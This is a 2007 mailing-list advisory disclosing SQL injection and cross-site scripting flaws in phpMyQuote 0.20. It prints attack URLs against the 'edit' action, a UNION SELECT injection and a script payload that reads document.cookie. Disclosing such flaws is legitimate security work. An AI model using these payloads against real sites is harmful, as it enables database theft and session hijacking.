Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Aria-Security Team] social-networkin SQL Injection

NuclearBB Alpha 2 Remote File Inclusion

Husrev Forums v2.0.1:PoWerBoard Sql

Proxy Anket v3.0.1 Sql injection Vulnerable

From:	yollubunlar_(at)_yollubunlar.org <yollubunlar_(at)_yollubunlar.org>
Date:	11.09.2007
Subject:	phpMyQuote 0.20 Version Multiple Sql And Xss Vulnerabilities

///////////////  Yollubunlar.org ///////////////

title: phpMyQuote 0.20 Version Multiple Sql And Xss Vulnerabilities

Author : Yollubunlar.Org

Orginal Article: http://yollubunlar.org/phpmyquote-020-version-multiple-sql-and-xss-vulnerabilitie
s-3501.html

MainPage: http://yollubunlar.org/category/web-security

mail : yollubunlar@yollubunlar.org

Exploit Sql : http://site.com/script_path/index.php?action=edit&id=[Sql injction]

Example : /index.php?action=edit&id=-1%20union%20select%200,1,2,3,4,5/*

Exploit Xss :
http://site.com/script_path/index.php?action=edit&id=%3Cscript%3Ealer
t(document.cookie)%3C/script%3E

///////////////  Yollubunlar.org ///////////////